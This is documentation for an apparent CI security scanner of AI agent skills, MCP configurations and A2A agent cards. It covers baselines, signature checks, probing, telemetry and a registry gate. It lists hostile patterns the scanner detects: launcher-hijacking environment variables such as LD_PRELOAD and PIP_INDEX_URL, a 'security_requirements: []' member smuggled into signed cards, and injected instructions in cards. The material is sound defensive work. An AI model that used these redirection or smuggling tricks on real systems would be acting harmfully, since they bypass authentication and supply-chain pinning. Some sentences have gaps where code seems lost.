rule: SW-SKL-009
path: .claude/skills/deploy/scripts/setup.sh
reason: Installed from our internal mirror, which pins versions.
added: 2026-12-01
expires: 2027-01-31
An entry accepts one finding, by fingerprint, from added to expires. It needs a reason, may last at most 365 days, and at most 30 days for a malicious-indicator rule (SW-SKL-004, SW-SKL-008, SW-SKL-032, SW-CFG-006, SW-CFG-007). An invalid entry accepts nothing and fails the scan (exit 2); an expired one stops accepting, and the report says which entry expired on which date. Accepted findings stay in every report, marked as accepted with their reason. spellwarden baseline add --all --reason "..." accepts every current finding (90 days by default), prune removes entries that no longer match anything, list shows each entry's state. These three commands work on the files in your working tree. They scan without a connection, so they cannot see an SW-REG or SW-ORG finding: prune keeps an entry that names such a rule until it has expired (and 30 more days), list shows it as connected instead of unmatched, and to accept one you give its fingerprint from a connected report with --rule (and --finding-path): spellwarden baseline add --fingerprint FP --rule SW-REG-001 --finding-path skills/setup --reason "...", at most 90 days for SW-REG and 365 for SW-ORG.
On a pull or merge request the scan reads the baseline from the base revision, like the settings file (see "Settings"): a request cannot accept its own finding. To accept a finding that a request introduces, merge the baseline entry first, in a request of its own; an entry that matches nothing yet is valid.
--format may be given several times, each followed by its own --output (stdout when omitted, one format at most). Every report is byte-identical for the same files, settings and --as-of date, holds no timestamp and no absolute path, and is sorted.
| Format | For |
|---|---|
text (default) | a terminal |
json | tools; the shape is schemas/report.schema.json |
sarif | GitHub code scanning (SARIF 2.1.0, one fingerprint per result under partialFingerprints["spellwarden/v1"], accepted findings as suppressions) |
markdown | the job summary and the pull or merge request comment (starts with <!-- spellwarden-scan -->, at most 60,000 characters) |
gitlab-codequality | the GitLab Code Quality report (critical, high, medium and low become critical, major, minor and info) |
Paths are relative to the scan root, except in SARIF and Code Quality, where they are relative to the repository root, because that is where GitHub and GitLab resolve them.
A team that publishes an A2A agent keeps its agent card in the repository (public/.well-known/agent-card.json, or a file a2a.cards names). The scanner finds every card, reads it as strict JSON and checks it against A2A 1.0 (the v1.0.1 proto) without a network: the required fields, plain http:// endpoints, the deprecated OAuth flows, authorization code flows without PKCE, API keys in a URL, agents with no authentication, skills that inherit every scope, injected instructions, hidden characters and credentials in the card's text, and cards still in the 0.2 or 0.3 shape. The nineteen SW-A2A rules are in the table above; findings are ordinary findings (SARIF, the request comment, Code Quality, the baseline, --fail-on).
# .spellwarden/config.yml
version: 1
a2a:
cards: # files to check as cards, besides the names below (at most 50)
- deploy/agent/card.json
keys: .well-known/jwks.json # the only keys trusted to sign the repository's cards (a JWKS, at most 64 KiB and 20 keys)
agents: # remote agents to fetch under --probe (at most 20)
- https://agent.example.com/
- https://example.com/agents/billing/card.json
Which files are cards. .well-known/agent-card.json at any depth and every path in a2a.cards are cards whatever they hold: one that cannot be read (not UTF-8, a byte-order mark, not strict JSON, a repeated key, nested deeper than 128 levels, not an object, over 1 MiB; or a symbolic link that leaves the scan root, points at nothing or at a link or a directory, which is reported as unsafe_path; or a file the operating system refuses to read, reported as unreadable) is the finding SW-A2A-018 (high), which fails the default check but can be accepted in the baseline, and a file that parses but is not a card shape is SW-A2A-001. .well-known/agent.json and any other file named agent-card.json are cards only when they parse strictly and have the card shape; otherwise they get the notice a2a_not_card and nothing else, because other software uses those names. A repository of deliberately broken sample cards excludes them the usual way (exclude: ["samples/**"]). At most 200 cards are read per run (the notice a2a_cards_limit counts the rest). Cards are read as strict JSON, which is what A2A clients accept: a comment, a trailing comma or a byte-order mark is refused here although .mcp.json accepts them.
Proto field names. A2A 1.0 JSON spells members in camelCase (securityRequirements), but protobuf's JSON reader, which a2a-sdk uses, also accepts a member's proto field name (security_requirements) and keeps the later of two spellings. The scanner reads a card the same way, so every rule judges what a protobuf client would use: a plain http:// URL under supported_interfaces is SW-A2A-004 like any other, and the finding names the member by its JSON name (/supportedInterfaces/0/url). A member spelled only with its proto field name is SW-A2A-001 (proto_field_name): rename it. A member spelled both ways is SW-A2A-019 (high), because readers disagree on which one is the card: a reader that knows only the JSON names keeps the camelCase spelling, a protobuf reader keeps the later one, and for an optional member such as iconUrl or one of a scheme's kinds such as oauth2SecurityScheme a protobuf reader refuses the card. So security_requirements: [] appended after a card's requirements, which tells a protobuf client that no authentication is needed, is SW-A2A-019 and SW-A2A-007. SW-A2A-015 reads every value as served, so a credential under a spelling the reader drops is still found. 0.x members in snake_case. Since 1.5.0 the members A2A 1.0 removed are read in their snake_case spelling too (preferred_transport, additional_interfaces, protocol_version, supports_authenticated_extended_card, capabilities.state_transition_history, and in a scheme of the 0.x type form bearer_format, open_id_connect_url, oauth2_metadata_url, the flow names authorization_code and client_credentials and a flow's authorization_url, token_url and refresh_url), the way a2a-sdk 0.3 reads a card: the snake_case name alone is the member, and of both spellings the camelCase one is kept whatever the order. Other clients disagree (a2a-sdk 1.2.3 ignores the snake_case spelling of the four top-level members, the JavaScript SDK reads camelCase only), so a 0.x member spelled only in snake_case is SW-A2A-001 (legacy_field_name) and one spelled both ways is SW-A2A-019 (name_kept). What it holds is judged like the camelCase member: a plain http:// URL under is , and gives the card its format.
Older cards and the checklist. A card in the 0.2 or 0.3 shape (SW-A2A-002), at /.well-known/agent.json (SW-A2A-003), or with an OAuth implicit or password flow (SW-A2A-005) gets a migration status and a checklist in the report: ready (a 1.0 card with nothing left to change), to_migrate or invalid (not a card), and up to thirteen steps in a fixed order, from serving the card at /.well-known/agent-card.json to signing it again, the last always being to scan again. A patch number in protocolVersion ("1.0.1") is a checklist step, not a finding, as the specification says patch numbers SHOULD NOT be used. The OAuth implicit and password flows are deprecated in 1.0 and documented as removed, but the protocol's proto still carries them as deprecated fields, so they are a finding and not a parse error.
Signatures. A signed card is a JWS over the card without its signatures, canonicalised with RFC 8785 (spellwarden_scan.jcs_canonicalize). The scanner verifies ES256, ES384, ES512, RS256, RS384, RS512, PS256, PS384, PS512, Ed25519 (RFC 9864) and EdDSA with an Ed25519 key, with RSA keys of at least 2048 bits. none and unknown algorithms are refused (SW-A2A-011, high). HS256, HS384 and HS512 use a secret that only the agent holds, so no one else can check them: the signature is unverified and the rule is SW-A2A-017 (medium), as is Ed448, which this release does not verify. A DER-encoded ECDSA signature, as cloud KMS and HSM signing APIs return, is reported as such (SW-A2A-011): a JWS needs the fixed-length R || S form of RFC 7518 3.4. A number outside what the scanner canonicalises (an integer above 2^53) makes the signature malformed with that detail. The scanner tries up to three forms of the signed bytes (the card as served, the card as a proto-based signer writes it, and the form a2a-sdk signs, which also leaves out empty values) and records which one matched and which members that form does not cover (unsigned_members). A legacy 0.x member that no form covers (security, supportsAuthenticatedExtendedCard and the others SW-A2A-002 lists) makes the signature invalid (SW-A2A-010), because clients still read it. So does a member spelled with its proto field name (supported_interfaces, security_requirements, preferred_transport): protobuf's JSON reader accepts that spelling too and the later of two spellings wins, so such a member added after signing would replace the signed one for a proto-based client. So does a whole entry of securityRequirements (a card's or a skill's) that no form covers: the a2a-sdk form leaves out only {}, the alternative "no authentication", which would tell clients anonymous calls are allowed. A vendor member that no form covers, and any other empty value the a2a-sdk form leaves out (a scheme entry with no scopes, schemes: {"bearer": {}}), is only listed in unsigned_members and the signature stays verified; the Markdown report names them ("verified without these members"). a2a-sdk 1.2.3 cannot sign an empty value, so a card that must cover one, such as a requirement with no scopes, needs a signer that signs the card as served or in the proto form.
Which key. The report says which kind of key verified a signature, because only one of them says who signed. With a2a.keys set, that file is the only trusted source: a card signed by a key that is not in it is untrusted_key (SW-A2A-010, high), whatever its jku says, and no jku is fetched. A signature verified this way says the card was signed by a key the repository's base revision trusts. Every key needs a kid, because keys are matched to signatures by kid alone; a key without one gets the notice a2a_key_without_kid and is never used, and a key with a private member is dropped with the notice a2a_private_key_in_jwks. A keys file that is named but absent from the revision read is the notice a2a_keys_missing (the signed cards are unverified); one that is present and is not a key set is the error settings_invalid (exit 2), because a trusted key file that cannot be read must not become no keys. Without a2a.keys, under --probe the scanner fetches the key set a signature's jku names (HTTPS, a public address, at most 64 KiB and 20 keys, 20 key sets per run) and says "verified with the key set the card names" (a key set that cannot be fetched or read leaves the signature unverified with the notice a2a_keys_unavailable): that says only that whoever serves the key set signed the card, and for a jku on the card's own host, whoever controls the host. A jku on a host that is neither the card's host nor a subdomain of it is SW-A2A-013 (medium), as is a key carried in the signature header itself (jwk, x5c, x5u), which is never trusted. Without --probe and without a2a.keys a signed card is unverified with the notice a2a_signature_unverified, which says how to verify it.
Merge the keys first. On a pull or merge request a2a.keys and the keys file are read from the base revision, never from the request. A request that adds a keys file and a signed card together is therefore verified against a base where neither exists: its cards are unverified on that request and verified from the next one on. Merge the keys first, or accept one unverified run.
Remote agents. With --probe, each URL in a2a.agents is fetched from the runner with one GET and no header but Accept and the scanner's user agent: no Authorization, no cookie, nothing from your repository. A URL ending in / is a base URL at any path: the card is at the URL followed by .well-known/agent-card.json (https://host/agents/billing/ gives https://host/agents/billing/.well-known/agent-card.json), and a 404 or 410 there is followed by one request for .well-known/agent.json (SW-A2A-003); any other URL is the card's own address and is fetched as given, so end a URL with / for discovery or give the card's full URL. Addresses must be public, a redirect to another host is SW-A2A-016, and the requests share the probe budget (300 requests and 120 seconds for the whole run, MCP servers first). An http:// URL is never fetched (SW-A2A-004 when its host is public by its text; an address such as 10.0.0.5, localhost or billing.internal is a statement of fact and gets no finding). A remote agent that cannot be fetched is the report status failed and the notice a2a_fetch_failed, never an error: its outage must not fail your build. Findings on a remote agent's card do not fail a pull or merge request, because that card belongs to someone else and changes on its own schedule; they are reported, uploaded and counted on every other run (push, schedule, manual, local), where a team decides whether to keep calling the agent. Without --probe the agents are listed as skipped with the notice a2a_agents_need_probe; on a request from a fork nothing is fetched.
What is not checked. The extended card (it needs authentication), the agent's behaviour on the wire, TLS versions and HSTS of its endpoints, caching headers, and key expiry or revocation. The specification says "Expired or revoked keys MUST NOT be used for verification" (8.4.3) but defines no way to know a key is expired or revoked: the trusted key file is your own list, so removing a key from a2a.keys is how a repository revokes it.
Installing. The scanner verifies signatures with the cryptography package, a compiled dependency that is imported by one module only. It installs from wheels: on Linux (glibc and musl, x86_64 and aarch64), macOS and Windows; a platform without a wheel cannot install 1.3.0. The image and the Action's pinned requirements carry the same packages with their hashes. The Action runs on the Python 3.11 or newer it finds on the runner; the locked cffi ships wheels for Python 3.11 to 3.14 at the time of this release, so on a newer Python add actions/setup-python until a later scanner release.
--probeOff by default. With --probe, the scanner also fetches the cards of the remote agents a2a.agents lists and the key sets the repository's signed cards name (see "Checking A2A agent cards"), under the same budget as the MCP probes, which come first. It sends the unauthenticated MCP probe of the hosted product to every remote server of an MCP configuration whose URL is https://, from your machine or runner, and adds the SW-MCP findings and the 2026-07-28 migration checklist to the report. It sends the URL and the protocol's own requests only: never a header, environment value or argument from the configuration, never an Authorization header or a cookie. Addresses must be public; at most 50 servers, 4 at a time, 300 requests and 120 seconds for the whole run. A URL holding a ${...} reference is not probed. --probe is switched off on a pull or merge request from a fork or from Dependabot.
--probe-private (or SPELLWARDEN_PROBE_PRIVATE=true) also allows the private addresses of the configured servers themselves (never a link-local address such as the cloud metadata service, and never an address that a server's answer or redirect points to), but only on a local run or on a push, schedule or manual run of a protected branch or tag in GitHub Actions or GitLab CI; anywhere else it is ignored with the notice probe_private_untrusted, because whoever can push a revision controls the endpoints it names. It cannot be set in .spellwarden/config.yml.
In CI, and only in CI, each spellwarden scan sends one request at the end to https://dash.spellwarden.ai/api/public/ping. It lets us count how many organisations run the free scanner and how many runs checked an A2A agent card. The ping is pseudonymous, not anonymous, and carries exactly six fields:
| Field | Value |
|---|---|
schema | 1 |
version | the scanner version |
rules_version | the rules version |
ci | github, gitlab or other |
org | a SHA-256 hash of the installation identity, or null |
a2a | true when the run checked at least one agent card (one of the repository's, or a remote agent's that was fetched), else false |
The installation identity is the forge host plus the GitHub account's numeric id (github:github.com:1234567), the GitLab top-level group's path (gitlab:gitlab.com:acme), or the owner in the origin remote elsewhere. It is hashed as sha256("spellwarden-ping-v1:" + identity). Anyone who knows an identity can compute its hash, which is why we call it pseudonymous. One company on GitHub and on GitLab is two identities; a self-managed GitLab or GitHub Enterprise Server is its own; renaming a GitLab top-level group starts a new one. The identity cannot be joined to an organisation of the hosted product.
The server keeps one row per hashed identity and ISO week: the number of runs, the number of those that checked an agent card (a2a_runs), the first and last time seen, the last scanner and rules versions and the CI kind. The row holds no IP address and no user agent, and is deleted 400 days after the end of its week. To limit abuse, the rate limiter keeps the sending address for one hour. Like every request to the service, the ping also appears in the technical logs, kept for 90 days, with the address it arrived from (usually one of the content delivery network's). No repository content is sent; the ping carries one yes-or-no fact derived from it: whether the run checked an agent card, from the repository or from an agent you listed. No card, address or count of cards is sent. Nothing is sent from a local run or by lock, baseline, rules or version.
Switch it off with any of: --no-telemetry, SPELLWARDEN_TELEMETRY=off (or 0, false, no), DO_NOT_TRACK=1, telemetry: false in .spellwarden/config.yml, or the telemetry: false input of the Action or the GitLab component. A failed or slow ping never changes a report or an exit code.
Connected mode links a scan to a Spellwarden organisation. The organisation's CI policy decides which rules and which policy pack the run applies, the registry gate (Enterprise) fails a run that adds or changes a skill, MCP server, plugin or marketplace the private registry does not admit, and the results go to the Repositories page of the dashboard. It needs a Team plan (a trial counts); the gate needs the Enterprise plan. Without a credential, without SPELLWARDEN_ORG and without connected.required the command is the free scanner of every section above, unchanged apart from the rules version and the three gate rules in the rules table. A connected: key in .spellwarden/config.yml is refused by a 1.0 or 1.1 scanner, so requiring connected mode presupposes 1.2.0 everywhere the repository is scanned.
There are two credentials, and a run uses one of them. Both set is the error connected_config.
SPELLWARDEN_ORG to the organisation's slug (^[a-z0-9-]{2,64}$, the part of the dashboard address after dash.spellwarden.ai/). On GitHub the job needs permissions: id-token: write, and the command asks the Actions token endpoint itself for a token whose audience is https://dash.spellwarden.ai/ci/<slug>. On GitLab the job declares id_tokens with that audience and passes it as SPELLWARDEN_ID_TOKEN. The GitHub Action takes the slug as its org input and the GitLab component as its org input.SPELLWARDEN_API_KEY (swk_ and 40 characters). The key is a secret that every workflow of the repository can read, which a CI connection avoids. Results uploaded with a key are shown as reported with a CI key: they are not the repository's attested state and do not count in the trust score. The first upload binds the repository to the key; after the old key is revoked, the next upload rebinds it. A key for read or write access, a connector token (swc_) or a CI token (swt_) is refused.The command reads these variables once, keeps them as secrets that print as ***, removes them from its environment, and gives every program it starts an explicit environment. There is no flag and no settings key for a credential, and no message, report or upload body ever holds one.
# .spellwarden/config.yml
connected:
pack: [email protected] # optional: a pack id (baseline or 32 hex), optionally @version, from the organisation's allowed list
upload: true # optional, default true: upload the results in CI
required: false # optional, default false: a run that cannot connect exits 2 instead of falling back to free mode
upload has the flags --upload and --no-upload and the variable SPELLWARDEN_UPLOAD; a flag wins over the variable, which wins over the file. pack and required are the repository's statement: they have no flag and no variable, and on a pull or merge request they are read from the base revision's .spellwarden/config.yml, even when --config FILE names another file (the notice settings_from_base says so). --as-of is refused in connected mode, because the server works out when baseline entries expire. In free mode the connected mapping is read, validated and ignored.
Only these leave the runner: the token request to your code host, the exchange, the session and policy requests, the registry check and the upload. No whole file is ever sent. A finding carries an excerpt of at most 300 characters of the matched line, with credentials masked. An MCP server's address leaves only as a hash, and the link that asks for its admission carries the address without user name, query or fragment.
connected.upload, no probe findings or checklist, at most 50 notices and 50 errors with messages masked and cut to 300 characters, and the caps the organisation's policy states for findings (500, the highest severity first, accepted ones included with their baseline entry), items (2000) and probes (200). If the body is still over its limit, items, then probes, then the lowest findings are dropped. Every cut is recorded in the report's upload_truncated and upload_truncated_fields.At most six requests and their retries, all to https://dash.spellwarden.ai/api (or your proxy, see "Proxies"). The Spellwarden API accepts HTTPS only, resolves the host and uses public addresses only, and follows no redirect.
| Call | When |
|---|---|
GET $ACTIONS_ID_TOKEN_REQUEST_URL&audience=... | the OIDC token, on GitHub, to your code host's own token endpoint |
POST /public/ci/token | the exchange of that token for a CI token that lasts 15 minutes |
GET /orgs | with a CI key: the organisation the key belongs to, which must hold the CI access |
GET /orgs/{slug}/ci/policy | the CI policy: rules or pack, the gate's posture, the registry name, the limits |
POST /orgs/{slug}/ci/registry-check | the items in scope, only when there is one the gate can identify |
POST /orgs/{slug}/ci/scans | the results, after the exit code is decided and before any output file is written |
Each request has 10 seconds including its body and may answer at most 2 MiB. A 429 is retried once after Retry-After (at most 20 seconds); a connection failure before the request was sent, or a 5xx, is retried once after 2 seconds. The upload is not retried after a timeout, because it may still be running. The calls share a budget of 150 seconds counted as time spent inside requests and their waits; the scan, the probes and the organisation rules do not count. A request that would start more than 840 seconds after the exchange is connected_unavailable, because the CI token's fifteen minutes are over.
After the first authenticated answer, every failure exits 2, whatever connected.required says: an organisation whose pipelines reached Spellwarden has set connected mode up, and an outage then is an incomplete scan, never a pass. An upload that fails is only a notice and never changes the exit code.
The command classes each run:
| Kind | When | Uploaded |
|---|---|---|
request | a pull or merge request (GitHub pull_request, pull_request_target, merge_group; GitLab merge_request_event) | yes |
default_branch | a push, schedule or manual run on the default branch (any run of other CI whose branch is SPELLWARDEN_DEFAULT_BRANCH) | yes |
branch | any other run | no (the notice upload_skipped, reason branch) |
The default branch is SPELLWARDEN_DEFAULT_BRANCH when set (the Action fills it from the repository or its default-branch input), else the event payload's, else GitLab's CI_DEFAULT_BRANCH. The server decides in the end and may answer that a run is not reportable: event_not_reportable (a workflow_run or issue_comment run is treated as a request for its settings and gate, but a two-stage workflow that wants results in the dashboard runs the Action in the first stage), default_branch_unconfirmed (the repository's default branch is not confirmed yet in the dashboard) or branch. Only a CI token's default-branch run changes what the dashboard shows as the repository's current state; a run with a CI key is a key report. In other CI the upload needs a run id: set SPELLWARDEN_RUN_ID, or the upload is skipped with the reason no_run_id.
GitHub gives a pull request from a fork no secrets and no OIDC token. A pull_request run from a fork is therefore connected_no_credential, and connected.required decides (see below); if a key is present anyway it is ignored with the notice fork_free_mode. To scan outside contributions with the organisation's policy, use two jobs, so that each request is scanned once, by the job that has a credential. The second job runs on pull_request_target, with the base repository's secrets and token: check out the head commit with persist-credentials: false, run nothing but the Spellwarden Action, and grant only these permissions. The command treats pull_request_target as a request of the base repository, never as a fork run: it connects, gates and uploads, takes head_sha and head_ref from the event payload, and pins head_sha in the request links.
on:
pull_request:
pull_request_target:
jobs:
same-repository:
if: github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write
pull-requests: write
steps:
- uses: actions/checkout@<commit>
with:
fetch-depth: 0
- uses: spellwarden-ai/scan@<commit of v1.2.1> # v1.2.1
with:
org: acme
outside-contribution:
if: github.event_name == 'pull_request_target' && github.event.pull_request.head.repo.full_name != github.repository
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write
pull-requests: write
steps:
- uses: actions/checkout@<commit>
with:
ref: ${{ github.event.pull_request.head.sha }}
persist-credentials: false
- uses: spellwarden-ai/scan@<commit of v1.2.1> # v1.2.1
with:
org: acme
Dependabot pull requests run in the same-repository job and use the exemption below. On GitLab, a merge request whose pipeline runs in a fork's project carries the fork's identity, which no CI connection names unless it lists the fork, so connected.required decides. A pipeline run in the parent project for a merge request from a fork is refused at the exchange (fork_pipeline_unsupported), see "Unsupported setups".
The gate runs when the organisation's plan has a private registry and its CI policy has the gate on (the default). With the gate off the notice registry_gate_off says so; on a plan without a registry nothing is said. The CI policy sets the posture: scope (changed or all), and whether stdio servers and plugins are judged.
| Kind | Judged | Identity |
|---|---|---|
| Skill | every skill package the scan found | the hash of its files (package_sha256) |
| Remote MCP server | every server with an http or sse transport | the hash of its normalised address, query included |
| Stdio MCP server | every command server, when the policy judges stdio | the pinned form of the launch, cmd:... |
| Plugin | every entry of the repository's own marketplace.json with a remote source, when the policy judges plugins | git:<repository URL>@<commit> |
| Marketplace | every extraKnownMarketplaces declaration of .claude/settings.json, when the policy judges plugins; the enabledPlugins entries naming it are listed under it | git:<repository URL>@<commit> |
An entry that is neither (a server with neither command nor url, a plugin with a local path as its source) is not judged. An enabledPlugins entry whose marketplace is not declared in the repository is listed with the notice plugin_marketplace_unknown: the marketplace lives in the user's own settings, which no repository scan sees.
Scope. On a request with scope: changed, the gate judges what the request added or changed, computed without needing a merge base: a skill when any path under it, or any file one of its followed links points at, changed; a server, stdio entry, plugin or marketplace when its configuration document changed and the base revision's version of that document holds no entry with the same identity (or, for an entry that cannot be identified, the same entry hash); a stdio entry also when a resolver file of its launcher family changed; a marketplace also when an enabledPlugins entry under it is new. A new document puts all its entries in scope. On GitHub pull_request, when the checkout is the test merge commit, the diff is against its first parent. In every other case, a workflow that checks out the head commit included, the diff is the two-dot git diff --name-only <base> HEAD, so a checkout of the head commit compares against the base tip, and files changed on the base branch since the branch point are in scope too. The gate fails closed, so the wider set is safe. Use fetch-depth: 0 to make the diff cheaper. When the base cannot be read, every item is in scope with the notice gate_scope_all. Default-branch runs, other branch runs and scope: all judge everything; items out of scope are counted in registry.out_of_scope and never become findings on that run, and the default-branch run reports them.
The check. One call sends the items in scope that could be identified. Each item the registry does not admit becomes an SW-REG-001 finding (skill, plugin, marketplace) or SW-REG-002 finding (server, stdio) at the item's location, severity high, with a link to request its admission in the Markdown report (the section "Not admitted in the private registry"). Each item in scope that could not be identified becomes an SW-REG-003 finding without any call. With no identifiable item in scope no call is made. If the check cannot be made or answered, the run exits 2 with registry_check_failed and writes no SW-REG finding.
Pinned command forms. A stdio server is identified when it launches one of npx, bunx, pnpm dlx, uvx, pipx run or docker run with every package at an exact version (npx -y @acme/[email protected], uvx mcp-server-git==0.6.2, pipx run --spec pkg==1.0.0 pkg, an image as name@sha256:<64 hex>). The identity is cmd:<launcher> <packages>, then src=<registries> when the launch names a registry or index, then args=<32 hex> when it has any other argument. Before the package or image, every option must be one the launcher is known to take: its quiet flags, its known on/off flags (npx --ignore-scripts, uvx --no-cache, docker run --privileged; the table below lists every one per launcher), its value options, or its registry and index options. A bare -- ends the launcher's options: the next token is the package. Quiet flags (-y, --yes, -q, --quiet, --silent for the package launchers; --rm, -i, -t, --init, --name for Docker) are dropped; the known on/off flags, the value options and every argument after the package go into the hash, and a registry is reduced to scheme, host and path. Any other option, an unknown option written as --opt=value, or a cluster of short flags with a letter the scanner does not know leaves the launch unidentifiable, with the reason unresolved. The names of the keys in the entry's env go into the hash as well (sorted, so an environment variable changes the identity), and their values never do. Pass index credentials through the launcher's credential store, never on the command line: a credential in the command line would be an argument, and it is never uploaded or put in a link, but it would make the launch differ from run to run.
The options accepted before the package or image are exactly these, per launcher. A - followed by several letters is read letter by letter, and every letter must be in the launcher's quiet, on/off, value, artefact or registry rows. The overrides row gives a launch_override in the --opt value and the --opt=value form (pnpm dlx also refuses any option starting with --config., shown as --config.<key>). A test checks this table against the scanner's own lists.
| Launcher | Kind | Options |
|---|---|---|
npx | Quiet flags (dropped) | -q, --quiet, --silent, -y, --yes |
npx | On/off flags (hashed) | -d, --dangerously-allow-all-scripts, -f, --force, --foreground-scripts, --ignore-scripts, --include-workspace-root, --json, --legacy-peer-deps, --no, --no-audit, --no-fund, --no-package-lock, --no-progress, --no-update-notifier, --offline, --prefer-offline, --prefer-online, -s, --strict-allow-scripts, --strict-peer-deps, --workspaces |
npx | Value options (hashed) | -C, -c, --cache, --call, --loglevel, --node-arg, --prefix, -w, --workspace |
npx | Artefact options | -p, --package |
npx | Registry and index options | --default-index, --extra-index-url, --find-links, --index, --index-url, --registry |
npx | Overrides (launch override) | --globalconfig, --node-options, --script-shell, --userconfig |
bunx | Quiet flags (dropped) | -q, --quiet, --silent, -y, --yes |
bunx | On/off flags (hashed) | -b, --bun, --force, --no-cache, , , |
Plugins and marketplaces. A plugin or marketplace is identified when its source is a GitHub repository or a URL that names a full 40-character commit (sha, or a ref that is one). Admitting a marketplace at a commit admits the catalogue at that commit.
The baseline. An SW-REG finding may be accepted in .spellwarden/baseline.yml for at most 90 days, a third cap next to 365 and 30. On a request, SW-REG entries are honoured only from the base revision's baseline, even when --baseline FILE points elsewhere (the notice reg_baseline_from_base). The fingerprint of an SW-REG-003 finding binds the acceptance to the entry as it stands: a second unpinned entry in the same file, a changed resolver file or an edited unhashable skill is a new finding.
A skill's package cannot be hashed the way the registry hashes a forge archive of it: a node_modules, .venv, venv or __pycache__ directory is under it, the walk skipped such a directory, include or exclude in the settings drops one of its files, one of its links could not be followed, or a file under it has the git attribute export-ignore or export-subst. The finding names the first offending path. Remove the directory or the attribute, keep every file of the skill in the scan, or accept the finding in the baseline.
The address or the command holds a ${...} reference, or the address cannot be read (a port out of range, control characters), so its identity would differ on every machine. Write the value out. The same reason applies when an option before the package or image is not one the launcher is known to take (an unknown flag, an unknown --opt=value, a cluster of short flags with a letter the scanner does not know): remove the option, or ask for it to be listed.
The server's address starts with http://. This is also SW-CFG-001. Use https://.
A package is given as a range, a tag, latest or without a version, or a plugin or marketplace is not pinned to a full commit. Pin an exact version (or a full commit, or an image digest).
The command is not one of the recognised launchers (node server.js, python -m x, a path to a program). The registry can admit only a launch it can pin. Launch the server through a pinned npx, uvx or docker run form.
The launch changes what the launcher runs or where it fetches from: docker run --entrypoint; for npx, bunx and pnpm dlx, the options --userconfig, --globalconfig, --node-options and --script-shell (in the --opt value and the --opt=value form) and, for pnpm dlx, any --config.<key> option; for uvx, --config-file, --env-file, --directory and --project; for pipx run, --pip-args; or an env entry in the list of names that redirect a launcher (NODE_OPTIONS, NODE_PATH, PYTHONPATH, PYTHONSTARTUP, PYTHONHOME, PYTHONUSERBASE, LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, UV_INDEX, UV_INDEX_URL, UV_DEFAULT_INDEX, UV_EXTRA_INDEX_URL, UV_FIND_LINKS, PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, PIP_FIND_LINKS, PIPX_DEFAULT_PYTHON, BUN_CONFIG_REGISTRY, DOCKER_HOST, DOCKER_CONFIG, PATH, BASH_ENV, ENV, UV_CONFIG_FILE, PIP_CONFIG_FILE, DOCKER_CONTEXT, any npm_config_*). Remove it from the launch.
A file of the repository redirects package resolution for the launcher's family: .npmrc, .yarnrc.yml or bunfig.toml with a registry or scope registry line (npx, bunx, pnpm dlx), uv.toml, pip.conf or pyproject.toml with an index entry (uvx, pipx run). The pinned version would not say which registry serves it. Remove the redirect, or accept the finding in the baseline; a change to any resolver file is a new finding. A resolver file on a developer's own machine is not seen.
Everything that stops the command before the first authenticated answer is one of connected_no_credential (a fork or Dependabot request, where GitHub withholds secrets; a job without id-token: write; an empty key secret), fork_free_mode, connected_auth, connected_subscription, connected_ci_key_required, connected_rate_limited or connected_unavailable on the token request, the exchange or GET /orgs. If the settings in force say connected.required: true, the run ends with exit code 2 and the error connected_required carrying the underlying code. Otherwise it continues in free mode with the notice connected_fallback ("Connected mode was not available (); this run applied the baseline rules only and uploaded nothing."), and the first line of the text output says so.
required is the repository's statement and cannot live in the organisation's policy, because a run without a credential cannot read the policy. One exemption: a Dependabot pull request whose diff puts no item the gate would judge in scope runs in free mode with the notice dependabot_free_mode, so routine dependency updates do not need the pull_request_target job. The check assumes every kind, scope: changed and a registry; a base that cannot be read puts everything in scope.
Every error exits 2.
| Code | What to do |
|---|---|
connected_config | SPELLWARDEN_ORG and SPELLWARDEN_API_KEY are both set, the slug is not a slug, --as-of was given, or the scan root's path cannot be a scan root (its characters must be letters, digits, ., _ and -). Set one credential, fix the slug, drop the flag. |
connected_key_invalid | SPELLWARDEN_API_KEY is not a CI key. A CI key starts with swk_. Create one under Settings, API keys, with access CI. |
connected_no_credential | This job has no OIDC token. Grant permissions: id-token: write on GitHub, add the id_tokens entry on GitLab, or use a CI key. |
connected_auth | The organisation did not accept this pipeline's identity: . Check the CI connection under Settings, CI connections, or the SPELLWARDEN_API_KEY secret. |
connected_subscription | The organisation's subscription is not active. Machine access is paused until billing is restored; people can still sign in. |
connected_ci_key_required | Connected mode needs a CI key. Create one under Settings, API keys, with access CI. |
connected_forbidden | The credential is not allowed to do this call. Check the access of the key or the CI connection. |
connected_rate_limited | A Spellwarden limit, not an outage, stopped this call: . Wait for the time the message names and run again. |
connected_unavailable | Connected mode is not available: the service could not be reached, answered with an error, or has no such route yet. Run again; the budget and the 840 second limit are described above. |
connected_required | This repository requires connected mode (.spellwarden/config.yml) and the run could not connect: . Fix what the detail names, or set required: false. |
policy_not_found | The pack named in .spellwarden/config.yml is not one this organisation allows for CI: . Name another pack or remove pack. |
policy_invalid | The organisation's rules are not a valid pack, or an organisation rule cannot be compiled. Tell an administrator of the organisation; this is a defect on the service. |
Rules the server left out for this scanner version are the notice org_rules_skipped; the exit code does not change, and the dashboard marks the scan incomplete. A pack made for newer rules than the scanner knows is applied when it validates, with the notice policy_newer_than_scanner. Organisation rules for MCP servers run on probed servers only: without --probe the notice mcp_rules_need_probe says so.
The Spellwarden API and the token endpoint honour HTTPS_PROXY (or https_proxy) and NO_PROXY, with CONNECT and the TLS certificate verified end to end against the target host. The proxy's own address is not checked against the public-address rule, because an enterprise proxy is set by the runner's operator; a user:password@ in the proxy address becomes Proxy-Authorization: Basic. Probes and the usage ping keep their own rules and ignore the proxy.
A package's identity is a hash over its bytes, as a forge archive of its directory holds them. The hash leaves out .git/, __MACOSX/, any .DS_Store, and three files the command itself reads or writes at the top of the package: .spellwarden/lock.json, .spellwarden/config.yml and .spellwarden/baseline.yml, so a skill at the repository root keeps its identity when the baseline that accepts it is written. Every other path under .spellwarden/ is hashed. A checkout that rewrites line endings (Windows core.autocrlf) is a different package from the one the registry admitted. A forge archive is git archive output, which honours export-ignore and export-subst: a path under a skill with either attribute makes the skill's identity unhashable. Inside a work tree the command asks git check-attr; outside one, any .gitattributes under the scan root that names either attribute makes every skill unhashable.
